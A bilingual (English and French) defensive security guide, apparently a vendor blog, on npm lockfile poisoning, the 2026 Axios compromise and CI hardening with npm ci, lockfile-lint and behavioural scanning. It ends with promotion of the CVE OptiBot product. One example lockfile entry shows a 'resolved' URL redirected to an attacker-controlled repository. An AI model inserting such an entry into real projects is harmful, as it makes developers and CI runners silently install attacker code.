On March 31, 2026, attackers hijacked the npm account of the Axios maintainer and published two malicious versions — axios@1.14.1 and axios@0.30.4 — bundling a cross-platform Remote Access Trojan (RAT) via a dependency called plain-crypto-js@4.2.1. Within hours, forensic teams at Snyk, Socket.dev, and Microsoft were advising hundreds of thousands of teams to do one thing: check your lockfiles.
Lockfile poisoning is not new. But the Axios incident made it concrete: lockfiles are both your best defence and a vector attackers know how to abuse. This guide explains the technical mechanics, the real incidents of 2026, and the practical defenses every Node.js team should implement — with verified sources for every claim.
What Is a Lockfile, and Why Does It Matter for Security?
Every major JavaScript package manager produces a lockfile:
- npm →
package-lock.json - Yarn →
yarn.lock - pnpm →
pnpm-lock.yaml
A lockfile records the exact version, resolved URL, and integrity hash of every package installed — direct dependencies and transitive ones. When you run npm install with a committed lockfile, npm resolves packages from the lockfile rather than re-resolving from package.json ranges. This is reproducible builds in theory.
The security promise: if a lockfile is committed, a developer on a different machine should get exactly the same packages. That promise has a critical vulnerability: it assumes the lockfile itself is trustworthy.
⚠️ The blind spot: GitHub's interface defaults to folding large diffs. Lockfiles are machine-generated, hundreds of lines long, and virtually unreadable to humans. A tampered lockfile will pass most code reviews invisibly.
Source: Snyk Blog, "Why npm lockfiles can be a security blindspot for injecting malicious modules"
How Lockfile Poisoning Works — Step by Step
Lockfile poisoning is not a single CVE — it is an attack vector. Snyk's security researchers documented the exact technique in their post-Axios analysis:
- Attacker gains write access to a repository (compromised maintainer account, a malicious PR, or a compromised CI environment).
- They modify the
resolvedfield inpackage-lock.jsonoryarn.lockto point to a malicious package URL — a GitHub repo they control, a private registry, or a typosquatted npm package. - They recalculate the SHA-512 integrity hash to match their malicious payload, so no integrity check fails.
- The change is committed. Because the lockfile diff is hundreds of lines long, it goes unnoticed in PR review.
- Every developer and CI runner who runs
npm install(notnpm ci) resolves from the lockfile and silently installs the malicious package.
Citation from Snyk's documented technique: "The attacker can update the lockfile to specify a new source location (such as in the resolved key) that they have full control of, and also set the SHA512 integrity value accordingly so that no alarms are thrown off."
"node_modules/some-lib": {
"version": "2.1.0",
"resolved": "https://github.com/attacker/malicious-repo/archive/v2.1.0.tar.gz",
"integrity": "sha512-[recalculated-to-match-malicious-payload]=="
}The Forensic Indicator
Socket.dev's post-mortem on the Axios attack documented a key forensic indicator: "If your package-lock.json shows plain-crypto-js@4.2.1 was resolved during install, but npm list now shows 4.2.0 in your node_modules, that mismatch is your forensic indicator — the lockfile recording what was installed while the package directory has been tampered to hide it."
Key Statistics: The Scale of npm Supply Chain Attacks in 2026
Real Incidents: Lockfiles at the Center of the Attack
1. Axios — March 31, 2026 (100M+ weekly downloads)
The Axios compromise is the most documented case of lockfile-adjacent supply chain poisoning in 2026. Attackers hijacked the maintainer's npm token — bypassing GitHub OIDC because a legacy token was still active — and published axios@1.14.1 and axios@0.30.4, each pulling in plain-crypto-js@4.2.1 as a new dependency.
Forensic teams told affected organizations to search their package-lock.json and yarn.lock for any reference to plain-crypto-js@4.2.1. Teams using npm ci with a pre-attack committed lockfile were protected. Teams using npm install — which silently updates the lockfile — were exposed.
Socket.dev detected the malicious package within 6 minutes of publication using static behavioral analysis. The malicious versions remained on the registry for 2 hours and 54 minutes before being removed.
A cascading second attack followed: 111 Dependabot PRs and 30 Renovate PRs automatically opened upgrade PRs for the malicious Axios versions across hundreds of repositories — with 60% of those PRs auto-merged without human review (GitGuardian, April 2026).
2. React Native International Phone Number — March 16, 2026
Two weeks before Axios, attackers published malicious releases of react-native-international-phone-number and react-native-country-select, packages with a combined 130,000+ monthly downloads. The attack targeted lockfiles in React Native projects by inserting a silent data exfiltration dependency. StepSecurity's analysis noted that projects using SHA-pinned dependencies detected the drift immediately; projects relying on semver ranges in package-lock.json were silently compromised during the next npm install.
3. Strapi Plugin Campaign — April 2026
In April 2026, 36 malicious npm packages mimicking Strapi plugins were published on the registry. Each contained a postinstall script that established persistent access to Redis and PostgreSQL credentials. The campaign specifically targeted projects where Strapi plugins are listed in package.json without pinned versions — meaning any new npm install could resolve to the malicious version, silently updating the lockfile as a side effect.
npm ci vs npm install: The Security Difference That Matters
The single most impactful change you can make to your CI/CD pipeline is switching from npm install to npm ci. Here is exactly what the official npm documentation guarantees about each command:
| Behaviour | npm install | npm ci |
|---|---|---|
| Modifies the lockfile? | Yes — silently updates it | Never — read-only |
| Lockfile / package.json mismatch | Resolves and updates | Exits with an error |
| node_modules on first run | Incremental update | Deleted and recreated |
| Version resolution | Respects semver ranges | Exact lockfile only |
npm ci enforces a strict contract: the installed packages must exactly match the lockfile. If they do not, the build fails loudly. This means a tampered lockfile will still execute malicious code, but an unexpected change to the lockfile itself (a lockfile poisoned after the last legitimate commit) will cause npm ci to fail — surfacing the attack rather than silently executing it.
The npm error message when lockfile and package.json are out of sync: "npm ci can only install packages when your package.json and package-lock.json or npm-shrinkwrap.json are in sync. Please update your lock file with npm install before continuing."
The GitHub Diff Problem: Why Lockfile Changes Slip Through Code Review
The human element is the weakest link in lockfile security, and GitHub's interface makes it worse. When a PR modifies a large file (lockfiles commonly exceed 10,000 lines), GitHub collapses the diff by default. Reviewers see a "Large diff. Load diff" button — most click past it without expanding the content.
A tampered lockfile is also machine-generated with non-human-readable formatting. Even if a reviewer expands the diff, spotting a single modified resolved URL among thousands of entries requires knowing exactly what to look for. In the Axios incident, lockfile changes in dependency PRs went unnoticed across hundreds of repositories.
Mitigation: Add lockfile diffs to required review checklists. Enforce a policy that any PR modifying package-lock.json or yarn.lock must be reviewed by at least one security-aware team member, not just auto-merged by Dependabot.
Detection Tools: How to Catch Lockfile Tampering
1. lockfile-lint (Snyk Labs)
The most targeted tool for lockfile integrity. lockfile-lint validates that every package source in your lockfile points to an authorized registry. It receives 216,524 downloads per week on npm.
# Install once
npm install --save-dev lockfile-lint
# Validate package-lock.json — only npm and yarn registries allowed
npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
# For yarn.lock
npx lockfile-lint --path yarn.lock --allowed-hosts npm yarn --validate-httpsIf any entry in your lockfile resolves to a GitHub URL, a private registry, or a domain not on your allowlist, lockfile-lint will exit with a non-zero code — blocking your CI pipeline. From the tool's documentation: "While npm audit is a tool to audit your dependencies for known vulnerabilities, it doesn't address the issue of malicious packages being injected into your lockfile — lockfile-lint is designed to address this issue."
2. Socket.dev
Socket's GitHub App performs static behavioral analysis of every new or changed dependency in a PR — before installation. It detected the malicious plain-crypto-js@4.2.1 dependency in the Axios attack in under 6 minutes, analysing 30+ behavioral signals (network requests in install scripts, obfuscated code, shell execution). It is free for open-source repositories.
3. npm audit — What It Cannot Do
npm audit checks your installed packages against a database of known CVEs. It does not detect lockfile poisoning because lockfile poisoning introduces a new malicious dependency rather than a known vulnerable one. The malicious plain-crypto-js@4.2.1 had no CVE — it was a new package created by attackers. npm audit returned clean for every project that installed it.
npm audit is insufficient alone. It only catches packages with published CVEs. Lockfile poisoning and supply chain attacks almost always use packages with no CVE — that is the point. You need behavioral analysis (Socket.dev) or source validation (lockfile-lint) in addition to npm audit.
Hardening Your Pipeline: A Practical Checklist
Implement these six controls to reduce lockfile poisoning risk to near-zero:
Without a committed lockfile, every npm install re-resolves from scratch. With one, deviations are detectable. The single biggest predictor of lockfile adoption is whether the tool creates one automatically — make it mandatory in your project policy. (Source: Andrew Nesbitt, lockfile-format-design-and-tradeoffs, January 2026)
npm ci in all CI/CD pipelines — never npm install.
npm ci never modifies the lockfile and exits with an error if lockfile and package.json are out of sync. Any unexpected lockfile drift causes a build failure — surfacing attacks instead of silently executing them. (Source: npm official documentation)
lockfile-lint to your CI pipeline as a mandatory gate.
Validate that all resolved URLs in your lockfile point only to official registries. One command, no configuration needed to start. This catches the core lockfile poisoning technique (modified resolved fields) before any code runs.
--ignore-scripts to npm ci for dependency installs.
npm ci --ignore-scripts prevents postinstall scripts from executing during install. The Strapi malware and the Axios RAT both activated via postinstall hooks. Caveat: some legitimate packages require postinstall (native modules, node-sass). Audit your dependency list before enforcing globally.
Socket analyzes new and changed dependencies for malicious behavior before they are installed — catching attacks that have no CVE. It detected Axios's malicious dependency in 6 minutes. Free for open-source projects.
111 Dependabot PRs and 30 Renovate PRs propagated the malicious Axios versions across hundreds of repositories with 60% auto-merged. Require at least one human review on all dependency update PRs that modify lockfiles.
pnpm and Yarn — Are They Safer?
pnpm's lockfile (pnpm-lock.yaml) and Yarn's (yarn.lock) face the same structural risk as npm's. The attack vector — modifying the resolved field and recalculating the integrity hash — is applicable to all three formats. The key mitigations (committing the lockfile, using --frozen-lockfile for pnpm or yarn install --immutable for Yarn, validating resolved sources) apply equally.
For Yarn Berry (v3+), yarn install --immutable is the equivalent of npm ci — it fails if the lockfile would need to be updated. For pnpm, pnpm install --frozen-lockfile provides the same guarantee.
# npm — use in CI
npm ci
# pnpm — use in CI
pnpm install --frozen-lockfile
# Yarn Berry (v3+) — use in CI
yarn install --immutable
# Validate lockfile sources (works for both npm and yarn)
npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
npx lockfile-lint --path yarn.lock --allowed-hosts npm yarn --validate-httpsMonitoring CVEs in Your Lockfile Dependencies
Lockfile poisoning is one half of the lockfile security problem. The other half is known CVEs in packages that are already legitimately in your lockfile. A dependency pinned at version 2.3.1 today may have a critical CVE disclosed tomorrow — and your lockfile will not update automatically.
Sonatype's 2026 report found that 65% of open source CVEs have no CVSS score in the NVD at time of disclosure. This means npm audit — which queries the NVD-backed GitHub Advisory Database — will miss a large fraction of vulnerabilities. Continuous monitoring against multiple vulnerability sources (OSV.dev, GitHub Advisories, Sonatype OSS Index) is required to catch what npm audit misses.
Frequently Asked Questions
Is lockfile poisoning the same as a CVE?
No. Lockfile poisoning is an attack vector, not a specific vulnerability. There is no CVE number assigned to "lockfile poisoning" itself because it is a technique, not a flaw in a specific software component. Attacks that use this technique typically introduce malicious packages that also have no CVE — they are new packages created by attackers, not known-vulnerable packages. This is why npm audit alone cannot detect them.
Does npm ci protect against lockfile poisoning?
npm ci provides partial protection. If your lockfile was committed before the attack and has not been modified, npm ci installs exactly what the lockfile specifies — protecting against resolution-time attacks. However, if an attacker has already modified your committed lockfile (via a malicious PR), npm ci will faithfully install the tampered version. The lockfile itself must be protected via code review and source validation tools like lockfile-lint.
Should I use --ignore-scripts in production?
npm ci --ignore-scripts prevents postinstall scripts from running, which blocks the most common payload delivery mechanism for lockfile-poisoning attacks. However, some legitimate packages require postinstall (native addons, build tools like node-sass, esbuild, etc.). The recommended approach is to audit your dependency tree first — run npm ci --ignore-scripts in a test environment and verify nothing breaks before enforcing it in production CI.
How can I check if my project was affected by the Axios attack?
Search your package-lock.json and yarn.lock for any reference to plain-crypto-js@4.2.1, axios@1.14.1, or axios@0.30.4. Also check your git history: git log --all -p -- package-lock.json | grep plain-crypto-js. If you find a match, treat the affected machine and any credentials it had access to as compromised.
Does lockfile poisoning affect monorepos?
Yes — and monorepos can amplify the blast radius. A single poisoned lockfile at the root of a monorepo can affect every workspace within it. Monorepo tooling like Turborepo, Nx, and Lerna shares a root lockfile, meaning a single tampered entry propagates to every package in the repo. The same mitigations apply: npm ci at the root, lockfile-lint in CI, and human review of lockfile changes in dependency PRs.
How does a known CVE in a lockfile dependency differ from lockfile poisoning?
Lockfile poisoning introduces a new malicious package that has no CVE. A CVE in a locked dependency is a known vulnerability in a legitimate package you intentionally installed. Both are lockfile security problems, but they require different tools: lockfile poisoning needs behavioral analysis (Socket.dev) and source validation (lockfile-lint); CVE monitoring needs continuous scanning against vulnerability databases (npm audit, OSV.dev, CVE OptiBot).
Monitor Your lockfile Dependencies Automatically
CVE OptiBot scans your package-lock.json, yarn.lock, and pnpm-lock.yaml daily against OSV.dev and GitHub Advisories — catching CVEs the moment they are disclosed, not when you remember to run npm audit.
Le 31 mars 2026, des attaquants ont piraté le compte npm du mainteneur d'Axios — un package téléchargé plus de 100 millions de fois par semaine — et injecté un cheval de Troie d'accès distant (RAT) multiplateforme via une dépendance malveillante appelée plain-crypto-js@4.2.1. Dans les heures qui ont suivi, les équipes de Snyk, Socket.dev et Microsoft donnaient toutes le même conseil : vérifiez vos lockfiles.
Le lockfile poisoning n'est pas nouveau. Mais l'incident Axios l'a rendu concret : les lockfiles sont à la fois votre meilleure défense et un vecteur que les attaquants maîtrisent parfaitement. Ce guide explique les mécanismes techniques, les incidents réels de 2026, et les défenses pratiques à mettre en place — avec des sources vérifiées pour chaque chiffre.
Qu'est-ce qu'un lockfile et pourquoi est-il crucial pour la sécurité ?
Chaque gestionnaire de paquets JavaScript produit un lockfile :
- npm →
package-lock.json - Yarn →
yarn.lock - pnpm →
pnpm-lock.yaml
Un lockfile enregistre la version exacte, l'URL résolue et le hash d'intégrité de chaque package installé — dépendances directes et transitives. Quand vous exécutez npm install avec un lockfile committé, npm résout les packages depuis le lockfile plutôt que de re-résoudre depuis les plages de package.json.
La promesse de sécurité : un lockfile committé garantit que tout développeur obtient exactement les mêmes packages. Cette promesse a une vulnérabilité critique : elle suppose que le lockfile lui-même est digne de confiance.
⚠️ L'angle mort : GitHub masque par défaut les gros diffs. Les lockfiles dépassent souvent 10 000 lignes, sont générés automatiquement et pratiquement illisibles pour un humain. Un lockfile tamperisé passe la plupart des code reviews sans être détecté.
Source : Snyk Blog, "Why npm lockfiles can be a security blindspot for injecting malicious modules"
Comment fonctionne le lockfile poisoning — étape par étape
Le lockfile poisoning n'est pas une CVE — c'est un vecteur d'attaque. Les chercheurs de Snyk ont documenté la technique exacte dans leur analyse post-Axios :
- L'attaquant obtient un accès en écriture au dépôt (compte mainteneur compromis, PR malveillante, ou environnement CI compromis).
- Il modifie le champ
resolveddanspackage-lock.jsonouyarn.lockpour pointer vers une URL malveillante — un dépôt GitHub qu'il contrôle, un registre privé, ou un package npm typosquatté. - Il recalcule le hash SHA-512 pour correspondre à son payload malveillant, évitant tout échec de vérification d'intégrité.
- Le changement est committé. Le diff étant illisible, il passe inaperçu en code review.
- Chaque développeur et runner CI qui exécute
npm install(pasnpm ci) installe silencieusement le package malveillant.
Citation de la technique documentée par Snyk : "L'attaquant peut mettre à jour le lockfile pour spécifier un nouvel emplacement source (comme dans la clé resolved) qu'il contrôle totalement, et calculer la valeur d'intégrité SHA512 en conséquence afin qu'aucune alerte ne soit déclenchée."
Statistiques clés : l'ampleur des attaques supply chain npm en 2026
Incidents réels : les lockfiles au cœur de l'attaque
1. Axios — 31 mars 2026 (100M+ téléchargements/semaine)
La compromission d'Axios est le cas le plus documenté de lockfile poisoning de 2026. Les attaquants ont piraté le token npm du mainteneur — contournant GitHub OIDC car un token legacy était toujours actif — et publié axios@1.14.1 et axios@0.30.4, chacun injectant plain-crypto-js@4.2.1 comme nouvelle dépendance.
Les équipes forensiques ont conseillé aux organisations touchées de chercher dans leur package-lock.json et yarn.lock toute référence à plain-crypto-js@4.2.1. Les équipes utilisant npm ci avec un lockfile committé avant l'attaque étaient protégées. Celles qui utilisaient npm install — qui met silencieusement le lockfile à jour — étaient exposées.
Socket.dev a détecté le package malveillant en 6 minutes après publication. Les versions malveillantes sont restées sur le registre 2 heures et 54 minutes. Puis : 111 PRs Dependabot et 30 PRs Renovate se sont ouvertes automatiquement pour mettre à jour Axios — 60% auto-mergées sans revue humaine (GitGuardian, avril 2026).
2. React Native — 16 mars 2026
Deux semaines avant Axios, des versions malveillantes de react-native-international-phone-number et react-native-country-select (130 000+ téléchargements mensuels combinés) ont été publiées, insérant une dépendance d'exfiltration silencieuse. Les projets utilisant des dépendances SHA-pinnées ont détecté le drift immédiatement ; ceux utilisant des plages semver dans leur lockfile ont été compromis silencieusement au prochain npm install.
3. Campagne Strapi — avril 2026
36 packages npm malveillants imitant des plugins Strapi ont été publiés en avril 2026, chacun contenant un script postinstall établissant un accès persistant aux credentials Redis et PostgreSQL. La campagne ciblait spécifiquement les projets Strapi listant des plugins sans versions épinglées — ce qui signifie que tout nouvel npm install pouvait résoudre vers la version malveillante, mettant silencieusement le lockfile à jour.
npm ci vs npm install : la différence de sécurité qui compte
Le changement le plus impactant que vous puissiez faire dans votre pipeline CI/CD est de passer de npm install à npm ci. Voici ce que la documentation officielle npm garantit :
| Comportement | npm install | npm ci |
|---|---|---|
| Modifie le lockfile ? | Oui — mise à jour silencieuse | Jamais — lecture seule |
| Désynchronisation lockfile/package.json | Résout et met à jour | Erreur et arrêt |
| node_modules existant | Mise à jour incrémentale | Supprimé et recréé |
| Résolution de version | Respecte les plages semver | Lockfile exact uniquement |
lockfile-lint : validez les sources de vos lockfiles en CI
lockfile-lint (Snyk Labs) valide que chaque source de package dans votre lockfile pointe vers un registre autorisé. Il reçoit 216 524 téléchargements par semaine sur npm.
# Valider package-lock.json
npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
# Valider yarn.lock
npx lockfile-lint --path yarn.lock --allowed-hosts npm yarn --validate-httpsSi une entrée de votre lockfile pointe vers un URL GitHub, un registre privé, ou un domaine non autorisé, lockfile-lint sort avec un code non-zéro — bloquant votre pipeline CI. De la documentation de l'outil : "Contrairement à npm audit qui vérifie les dépendances pour les vulnérabilités connues, lockfile-lint est conçu pour traiter le problème des packages malveillants injectés dans votre lockfile."
npm audit ne détecte pas le lockfile poisoning
npm audit est insuffisant seul. Il ne détecte que les packages avec des CVE publiées. Le lockfile poisoning introduit presque toujours des packages sans CVE — des packages créés par les attaquants, absents de toute base de données de vulnérabilités. plain-crypto-js@4.2.1 ne figurait dans aucune base de données. npm audit retournait propre pour tous les projets qui l'avaient installé.
Questions fréquentes
Le lockfile poisoning a-t-il un numéro CVE ?
Non. Le lockfile poisoning est un vecteur d'attaque, pas une vulnérabilité d'un composant spécifique. Il n'existe pas de CVE dédié à cette technique. Les attaques qui l'utilisent introduisent généralement des packages sans CVE — créés par les attaquants, absents des bases de données de vulnérabilités. C'est précisément pourquoi npm audit seul ne peut pas les détecter.
npm ci protège-t-il contre le lockfile poisoning ?
npm ci offre une protection partielle. Si votre lockfile a été committé avant l'attaque et n'a pas été modifié, npm ci installe exactement ce que le lockfile spécifie. Cependant, si un attaquant a déjà modifié votre lockfile committé (via une PR malveillante), npm ci installera fidèlement la version tampérisée. Le lockfile lui-même doit être protégé par code review et par lockfile-lint.
Comment vérifier si mon projet a été affecté par l'attaque Axios ?
Recherchez dans votre package-lock.json et yarn.lock toute référence à plain-crypto-js@4.2.1, axios@1.14.1 ou axios@0.30.4. Vérifiez aussi l'historique git : git log --all -p -- package-lock.json | grep plain-crypto-js. Si vous trouvez une correspondance, traitez la machine affectée et tous les credentials auxquels elle avait accès comme compromis.
pnpm et Yarn sont-ils plus sécurisés que npm ?
Non structurellement. Le vecteur d'attaque — modifier le champ resolved et recalculer le hash — s'applique à yarn.lock et pnpm-lock.yaml tout autant qu'à package-lock.json. Les équivalents de npm ci sont yarn install --immutable (Yarn Berry) et pnpm install --frozen-lockfile. lockfile-lint supporte les trois formats.
L'auto-merge Dependabot est-il dangereux ?
Oui, dans le contexte actuel. L'incident Axios l'a démontré concrètement : 111 PRs Dependabot et 30 PRs Renovate ont propagé les versions malveillantes avec 60% d'auto-merge (GitGuardian, avril 2026). L'auto-merge est dangereux sans validation automatisée préalable (Socket.dev, lockfile-lint). Si vous l'utilisez, combinez-le avec une analyse comportementale des dépendances et exigez au minimum une revue humaine pour tout changement de lockfile.
CVE OptiBot détecte-t-il le lockfile poisoning ?
CVE OptiBot se spécialise dans le monitoring des CVE connues dans vos dépendances — c'est l'autre moitié du problème de sécurité des lockfiles. Pour la détection comportementale du lockfile poisoning (packages sans CVE), nous recommandons Socket.dev en complément. Les deux outils couvrent des menaces complémentaires : CVE OptiBot pour les vulnérabilités publiées dans des packages légitimes, Socket.dev pour les packages malveillants nouveaux sans CVE.
Surveillez automatiquement les CVE de vos dépendances lockfile
CVE OptiBot scanne quotidiennement votre package-lock.json, yarn.lock et pnpm-lock.yaml contre OSV.dev et GitHub Advisories — détectant les CVE dès leur divulgation, pas quand vous pensez à lancer npm audit.